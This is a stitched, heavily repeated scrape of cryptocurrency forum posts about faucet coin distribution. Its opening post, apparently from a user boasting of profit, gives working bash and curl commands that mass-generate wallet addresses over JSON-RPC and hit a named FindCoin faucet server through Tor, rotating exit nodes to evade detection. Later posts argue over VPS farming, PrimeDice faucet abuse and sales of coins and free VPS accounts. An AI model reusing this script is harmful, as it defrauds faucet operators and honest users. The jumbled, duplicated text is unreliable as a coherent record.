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Time to make some moola ![](https://ip.bitcointalk.org/?u=http%3A%2F%2Fcomps.canstockphoto.com%2Fcan-stock-photo_csp15821671.jpg&t=665&c=7kIJvX1uZ8mdLQ)
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I PM'ed most of the devs about a sensitive info leak in the debug.log file on the 27th Dec ![](https://ip.bitcointalk.org/?u=https%3A%2F%2Fi.imgur.com%2FgtkGBMg.png&t=665&c=VljD1tMFLegB3Q) This allows anyone with a bunch of addresses in their wallet to make a ton of request to http://104.236.75.141:1532/findcoin/get/$address and everyone would be none the wiser thinking those requests came from actual wallets, rather than lets say curl over tor which I will demonstrate bellow. Due to sloppy programming, no SSL, no special 'secret' parameters exchanged between the wallet and the faucet service and no IP filtering it is trivial to simulate the request the actual wallet makes with a bit of bash, curl and tor. First start tor with the --controlport 9051 flag so we can request a new exit node by sending the 'newnym' signal /path/to/tor --controlport 9051 &
Next we need a bunch of addresses. Since there is no command line version of the FindCoin wallet this is a bit inconvenient but still trivial to do with one command. First edit ~/.FindCoin/FindCoin.conf to become a JSON-RPC service and restart the wallet rpcuser=user rpcpassword=p rpcallowip=127.0.0.1 rpcport=13333 listen=1 server=1
Then simply send the getnewaddress jsonrpc command to the wallet's rpc port over and over again until you're fed up with it while true;do curl --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"getnewaddress","params":[]}' -H 'content-type:text/plain;' -s http://user:p@127.0.0.1:13333/ | awk -F'"' '{print $4}' >> addresses;done
This will write indefinite amount of addresses until ctrl+c'ed to a file named addresses. Now we simply loop over each address and make requests to the faucet url requesting a new exit tor node after each request while read address;do (echo authenticate '""'; echo signal newnym; echo quit) | nc 127.0.0.1 9051;curl --socks5 127.0.0.1:9050 http://104.236.75.141:1532/findcoin/get/$address;sleep 10;done < addresses
And presto you make as many requests to the faucet url as you have addresses over tor, with a new IP between each request. No VMs, no proxies, no extra wallets. we now can rename this coin to failcoin. byebye people Yep, yet these skids are pointing their finger towards VPS users when it wasnt it. ![](https://ip.bitcointalk.org/?u=http%3A%2F%2Fwww.popcrunch.com%2Fwp-content%2Fuploads%2F2010%2F12%2Fbowl.jpg&t=665&c=qvRwGFotrRTXvw)
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@ Brah Asinine, big word for a brah. You are talking about a hole different kettle of fish dude, mining is/ well it's mining lol Use your equipment for well, MINING!! Using exploits threw any method is actually cheating brah ![Roll Eyes](https://bitcointalk.org/Smileys/default/rolleyes.gif) atleast make sense. Jealousy because you spend 30 dollars a month on vps are you for real? MY POINT STILL STANDS ALL YOU GENIUS'S WHO RUN YOUR VPS to accumulate more than joe, WILL DUMP THE MINUTE IT HITS AN EXCHANGE AND KILL THE COIN! More resources for anything = higher yield. Having VPS to get faucet isn't an exploit. The coding using the URL to get the faucet with 100s of wallets on one PC/VPS = exploiting. I suggest you refrain from flaming when your username is "HarryPotHead" and can barely manage making a single valid point. MY POINT STILL STANDS ALL YOU GENIUS'S WHO RUN YOUR VPS to accumulate more than joe, WILL DUMP THE MINUTE IT HITS AN EXCHANGE AND KILL THE COIN! Really, yet you don't see how my comparison to mining is more accurate (more mining rigs = more than "joe") vs your asinine comparison to robbing people at gunpoint? Anyways I won't waste any more time on you. As for the coin, the lack of coding sunk the ship not the VPS resources.
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Hello,
We have turned off the faucet for the moment, as it seems we are getting two thousand requests more than we should (we have ~1.3k wallets downloaded). A vote will be posted tomorrow to decide if we want to continue faucet-based distribution or switch to another system. Until then, no faucet payments will be sent out.
It is a great decision! Fair to us who do not cheat in this distribution, I just got 2k coins, but cheaters can get 100k or more, they have lots of VPS/VPN. I have to disagree with the VPS thing. If this were any other coin received through mining, VPS would obviously give more hashing power yielding more coins. I have 3 VPS with wallets each and as you can see in my older btctalk posts; I usually provided tons of hashing power to newly created coins. Including helping Monero's first launch earlier this year. I do have to agree however that this coin verifies nothing of the VPS specs meaning I could potentially just get free VPS to rape it but it isnt worth my time but is an obvious issue to all of us as it defeats the purpose of a fair launch (in comparison with those who have VPS mining rigs). Totally agree. The idea of "faucet distribution" is fair. I have 5 VPSes and I have to pay for it. It's a kind of investment. If I have 5VPS and I receive the amount equal to someone who has only 1 PC, it will be unfair. This is "In-wallet-faucet-distribution", not "person-distribution". Moreover, I downloaded the wallet file only 1 time on the first VPS and transfer to the other 4 VPSes. I think if other people do the same thing as me, the downloaded wallet will be much less then the number of opening wallet. It's easy to understand. Yeah right so if I bank robber pays for his gun and get away car, he deserves the cash Trying to justify cheating, its a giveaway coin, meant to be one wallet per person, anyone doing otherwise cheated end of story. Hello,
We have turned off the faucet for the moment, as it seems we are getting two thousand requests more than we should (we have ~1.3k wallets downloaded). A vote will be posted tomorrow to decide if we want to continue faucet-based distribution or switch to another system. Until then, no faucet payments will be sent out.
It is a great decision! Fair to us who do not cheat in this distribution, I just got 2k coins, but cheaters can get 100k or more, they have lots of VPS/VPN. I have to disagree with the VPS thing. If this were any other coin received through mining, VPS would obviously give more hashing power yielding more coins. I have 3 VPS with wallets each and as you can see in my older btctalk posts; I usually provided tons of hashing power to newly created coins. Including helping Monero's first launch earlier this year. I do have to agree however that this coin verifies nothing of the VPS specs meaning I could potentially just get free VPS to rape it but it isnt worth my time but is an obvious issue to all of us as it defeats the purpose of a fair launch (in comparison with those who have VPS mining rigs). Totally agree. The idea of "faucet distribution" is fair. I have 5 VPSes and I have to pay for it. It's a kind of investment. If I have 5VPS and I receive the amount equal to someone who has only 1 PC, it will be unfair. This is "In-wallet-faucet-distribution", not "person-distribution". Moreover, I downloaded the wallet file only 1 time on the first VPS and transfer to the other 4 VPSes. I think if other people do the same thing as me, the downloaded wallet will be much less then the number of opening wallet. It's easy to understand. Yeah right so if I bank robber pays for his gun and get away car, he deserves the cash Trying to justify cheating, its a giveaway coin, meant to be one wallet per person, anyone doing otherwise cheated end of story. +1 You could not be more right, all these guys please don’t change it, we deserve more coins because we brought vps/payed for our guns etc lol The same people who keep asking for exchanges so they can dump and destroy the coin You guys do realize how asinine you look? So when a user has more resources to mine, its cheating? Okay now ![Roll Eyes](https://bitcointalk.org/Smileys/default/rolleyes.gif) Anyways, apparently this coin has too many exploits through weak security (coding). The VPS getting users more cash isn't cheating. That's just complete childish jealousy. If you have more resources, you will gain more. Its not robbing. LOL. I can't believe you guys compared this to robbing people at gun point. LMFAO
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Selling 1,284 FIND
PM me offers. You go first or escrow (you pay fees)
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Hello,
We have turned off the faucet for the moment, as it seems we are getting two thousand requests more than we should (we have ~1.3k wallets downloaded). A vote will be posted tomorrow to decide if we want to continue faucet-based distribution or switch to another system. Until then, no faucet payments will be sent out.
It is a great decision! Fair to us who do not cheat in this distribution, I just got 2k coins, but cheaters can get 100k or more, they have lots of VPS/VPN. I have to disagree with the VPS thing. If this were any other coin received through mining, VPS would obviously give more hashing power yielding more coins. I have 3 VPS with wallets each and as you can see in my older btctalk posts; I usually provided tons of hashing power to newly created coins. Including helping Monero's first launch earlier this year. I do have to agree however that this coin verifies nothing of the VPS specs meaning I could potentially just get free VPS to rape it but it isnt worth my time but is an obvious issue to all of us as it defeats the purpose of a fair launch (in comparison with those who have VPS mining rigs).
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Seems like most would agree with my suggestions but dont bother reading ![Roll Eyes](https://bitcointalk.org/Smileys/default/rolleyes.gif)
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Can I use this for youtube bots?
Yep if it can run on the free tier vps
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Or you could increase support staff?
It has nothing to do with staff lmfao
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In my honest opinion, the faucet is more of a curse than a blessing. The amount of issues it has caused has been substantial, not just on the support email front but in chat too, and over such insignificant amounts. By adding a faucet it effectively brought in a new demographic of people in - not players - people in, and those are the people who spend 5 hours a day scavenging at faucet sites to bring home 0.0001 BTC each day. Why they do that? No idea, but to most of them PD is just another faucet site.
I'm not saying all faucet users are bad, I do use the faucet for some "yolo" bets (I guess) every once in a while and so do some others, but the problem with bringing in that demographic is that 75% of those people will throw a temper tantrum if they don't get their dust successfully. It is one of the peculiar phenomena created by the Bitcoin community.
With that in mind, here are my personal suggestions:
a) You could just remove faucet. There would probably be a loss in users but the vast majority of those users would just leech the faucet anyway;
b) Keep the faucet as a promotion which is activated and deactivated by admins; (Implement an admin command which flicks a Boolean which allows faucet to be claimed)
c) Make it so you unlock 1 faucet use every x amount wagered.
a) has obvious benefits.
b) will still have the same problems as before but it will be MUCH more manageable.
c) will still have some problems of people complaining but it will be more manageable and faucet farming/abusing will basically be eradicated.
Well as I said: ![Tongue](https://bitcointalk.org/Smileys/default/tongue.gif) I'm pondering the removal of the faucet more seriously now, the cost of it has significantly decreased but the incredible amount of support emails that center around the faucet itself or amounts under 0.0005 from faucet bettors along with a much larger userbase has decreased the quality of the support we can offer severely. Many argue that it must be removed as it lowers the quality of the chat and community as well.
What are the thoughts of everyone and if faucet is removed what should levels be used for?
Thanks
Well tbh removing it all completely would make the site no different from the rest. The level/faucet update was the main attraction for frequent gamblers. I agree it attracted too many free loaders but there could be a system placed to avoid non depositors abusing faucet or accounts that been sold purely for its faucet level. Few ideas: 1. Make a secondary balance on an account made for faucet plays. Make it only withdraw-able after getting to $x not x btc that way you dont lose a lot of cash if it is reached with a requirement of 1 BTC gambled to withdraw $x amount of faucet wins. Most would bust with greed if you raise it and add that requirement. 2. Another idea I emailed was adding offers to unlock faucet a few items a day as long as you played $x/Xbtc such day through your own deposit. Making the faucet random as well with chance to get higher amounts based on levels + total wagered, every time they win a high amount x LVLs is lost making so that people will HAVE TO DEPOSIT AND PLAY again to have better chance to obtain higher faucet. Basically like a reset. 3. Or simply make weekly levels that reset on Sunday. That way to obtain faucet whether random amounts or constant as it currently is is only obtainable if you actually deposit and play frequently.
I do admit incorporating such things might be a pain and a bit of cost but I think something like the last two ideas would benefit everyone. Completely removing chat messages for XP should've been done already, as well as creating requirements to receive tips. Biggest issues in my eyes 1. Receiving tips have no requirements so when HRs are playing they spam them on chat/PMs also people can easily bank .0005 won from faucet over and over until they wanna cash out 2. People leech and grow faucet without ever depositing. 3. Chat spam for faucet levels or "rain" If you add requirements to receive tips it gets rid of a lot of the horde of beggars that never really chat and just leech faucet. Or simply spam every now and then to raise XP; usually when HRs are on. The tip requirement would also mean no constant .0005 banking of just faucet wins, its outrageous that non depositors get to do that and have won huge amounts like that. Hell someone said they earn $1.2 an hour with faucet, bit sad but still thats pretty outrageous since they never actually deposit and play anything. Compare it to a casino (derp) they have members club points where regular players get bonuses for every X amount of money wagered. They also have an initial free $5 or so for new sign ups. It's basically the faucet, its meant for new users to test the site and have a small chance to win something out of nothing. Then bring in actual players to play regularly whilst getting a little bonus for being a frequent player. 3 birds with one stone. ![Grin](https://bitcointalk.org/Smileys/default/grin.gif) Or simply remove tip function, reduce faucet to 250-500 sats fro newbies and 1k faucet for regulars every 10+minutes, osrta reverting back to PD2 style. ![Roll Eyes](https://bitcointalk.org/Smileys/default/rolleyes.gif)
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In my honest opinion, the faucet is more of a curse than a blessing. The amount of issues it has caused has been substantial, not just on the support email front but in chat too, and over such insignificant amounts. By adding a faucet it effectively brought in a new demographic of people in - not players - people in, and those are the people who spend 5 hours a day scavenging at faucet sites to bring home 0.0001 BTC each day. Why they do that? No idea, but to most of them PD is just another faucet site.
I'm not saying all faucet users are bad, I do use the faucet for some "yolo" bets (I guess) every once in a while and so do some others, but the problem with bringing in that demographic is that 75% of those people will throw a temper tantrum if they don't get their dust successfully. It is one of the peculiar phenomena created by the Bitcoin community.
With that in mind, here are my personal suggestions:
a) You could just remove faucet. There would probably be a loss in users but the vast majority of those users would just leech the faucet anyway;
b) Keep the faucet as a promotion which is activated and deactivated by admins; (Implement an admin command which flicks a Boolean which allows faucet to be claimed)
c) Make it so you unlock 1 faucet use every x amount wagered.
a) has obvious benefits.
b) will still have the same problems as before but it will be MUCH more manageable.
c) will still have some problems of people complaining but it will be more manageable and faucet farming/abusing will basically be eradicated.
Well as I said: ![Tongue](https://bitcointalk.org/Smileys/default/tongue.gif) I'm pondering the removal of the faucet more seriously now, the cost of it has significantly decreased but the incredible amount of support emails that center around the faucet itself or amounts under 0.0005 from faucet bettors along with a much larger userbase has decreased the quality of the support we can offer severely. Many argue that it must be removed as it lowers the quality of the chat and community as well.
What are the thoughts of everyone and if faucet is removed what should levels be used for?
Thanks
Well tbh removing it all completely would make the site no different from the rest. The level/faucet update was the main attraction for frequent gamblers. I agree it attracted too many free loaders but there could be a system placed to avoid non depositors abusing faucet or accounts that been sold purely for its faucet level. Few ideas: 1. Make a secondary balance on an account made for faucet plays. Make it only withdraw-able after getting to $x not x btc that way you dont lose a lot of cash if it is reached with a requirement of 1 BTC gambled to withdraw $x amount of faucet wins. Most would bust with greed if you raise it and add that requirement. 2. Another idea I emailed was adding offers to unlock faucet a few items a day as long as you played $x/Xbtc such day through your own deposit. Making the faucet random as well with chance to get higher amounts based on levels + total wagered, every time they win a high amount x LVLs is lost making so that people will HAVE TO DEPOSIT AND PLAY again to have better chance to obtain higher faucet. Basically like a reset. 3. Or simply make weekly levels that reset on Sunday. That way to obtain faucet whether random amounts or constant as it currently is is only obtainable if you actually deposit and play frequently.
I do admit incorporating such things might be a pain and a bit of cost but I think something like the last two ideas would benefit everyone. Completely removing chat messages for XP should've been done already, as well as creating requirements to receive tips.
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I'm pondering the removal of the faucet more seriously now, the cost of it has significantly decreased but the incredible amount of support emails that center around the faucet itself or amounts under 0.0005 from faucet bettors along with a much larger userbase has decreased the quality of the support we can offer severely. Many argue that it must be removed as it lowers the quality of the chat and community as well.
What are the thoughts of everyone and if faucet is removed what should levels be used for?
Thanks
Well tbh removing it all completely would make the site no different from the rest. The level/faucet update was the main attraction for frequent gamblers. I agree it attracted too many free loaders but there could be a system placed to avoid non depositors abusing faucet or accounts that been sold purely for its faucet level. Few ideas: 1. Make a secondary balance on an account made for faucet plays. Make it only withdraw-able after getting to $x not x btc that way you dont lose a lot of cash if it is reached with a requirement of 1 BTC gambled to withdraw $x amount of faucet wins. Most would bust with greed if you raise it and add that requirement. 2. Another idea I emailed was adding offers to unlock faucet a few items a day as long as you played $x/Xbtc such day through your own deposit. Making the faucet random as well with chance to get higher amounts based on levels + total wagered, every time they win a high amount x LVLs is lost making so that people will HAVE TO DEPOSIT AND PLAY again to have better chance to obtain higher faucet. Basically like a reset. 3. Or simply make weekly levels that reset on Sunday. That way to obtain faucet whether random amounts or constant as it currently is is only obtainable if you actually deposit and play frequently.
I do admit incorporating such things might be a pain and a bit of cost but I think something like the last two ideas would benefit everyone. Completely removing chat messages for XP should've been done already, as well as creating requirements to receive tips.
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What are the restrictions? I assume you can't mine on them.
They're free tier usage only, obviously no mining and shit
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Still selling. Usually on GMT-8 evenings after work
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Just wanted to say public thank you to user Baron who tipped me 1btc today . It just shows once again that primedice has the best community in bitcoin. I will share some of it back to active primedice members. See yaa all on chat. Cheers. Wow nice man. Congrats =O
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10k minutes is 70 cents. You really think anyone here would use the sites prices as a comparison ? ![Tongue](https://bitcointalk.org/Smileys/default/tongue.gif)
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Currently have 2 ready to go.
When I dont have some at hand I can deliver them pretty quickly
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Looking for ways to break faucet bots/solvers at the moment. When we changed the captcha to solvemedia faucet claims immediately decreased by 60%+ temporarily then moved up. Also if anyone can provide me input on which update we should prioritize I'll consider doing so.
I emailed support a way to sustain faucet by having it locked until a user completes an offer of some sort, loses a certain amount of BTC (throguh deposit) to unlock X amount of faucet access, and also making faucet random amounts for Vets.
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Price is crashing...
Its fairly new so these fluctuations are normal. I expect a similar pattern to XMR when it first started. Im allocating 75% of my miners now to this coin. Im skybot13x here: https://xmg.suprnova.cc/index.php?page=statistics&action=poolIm moving miners as I can. =3 Im going to hoard my coins. Everyone panics when new coins fluctuate like this and end up regretting it,
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